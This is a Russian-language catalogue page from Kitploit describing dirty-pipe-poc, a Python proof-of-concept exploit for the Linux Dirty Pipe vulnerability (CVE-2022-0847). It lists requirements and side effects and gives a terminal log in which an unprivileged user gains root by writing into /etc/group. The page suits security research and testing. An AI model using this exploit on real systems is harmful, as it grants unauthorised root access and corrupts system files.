Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
dirty-pipe-poc — POC Exploit для добавления пользователя в Sudo для CVE-2022-0847 Dirty Pipe Vulnerability | Kitploit
Инструменты/GitHubGitHub/0xeremus/dirty-pipe-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHub0xeremus/dirty-pipe-poc

dirty-pipe-poc

POC Exploit для добавления пользователя в Sudo для CVE-2022-0847 Dirty Pipe Vulnerability

Репозиторий
214 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

POC-эксплойт для добавления пользователя в sudo для уязвимости Dirty Pipe CVE-2022-0847

Этот репозиторий основан на уязвимости, описании и эксплойте, созданных Максом Келлерманном, все материалы находятся здесь.

Как и все, я не упустил возможности поиграть с самой тривиальной для воспроизведения привилегированной эскалацией — в блоге отлично всё объясняется.

Я переписал эксплойт на Python, чтобы лучше разобраться, но это точная копия C-эксплойта с жёстко закодированным повышением привилегий через sudo.

Требования

Python 3.10 (из-за использования вызова os.splice)

Недостатки

Повреждает файл /etc/group, записывая в строку, непосредственно следующую за записью sudo. Но когда вы получите права root, вы сможете исправить это с помощью копии.

Помещает копию /etc/group в /tmp/group_backup

Демонстрация

root@kitploit:~
test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file.  This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$
Скачать инструмент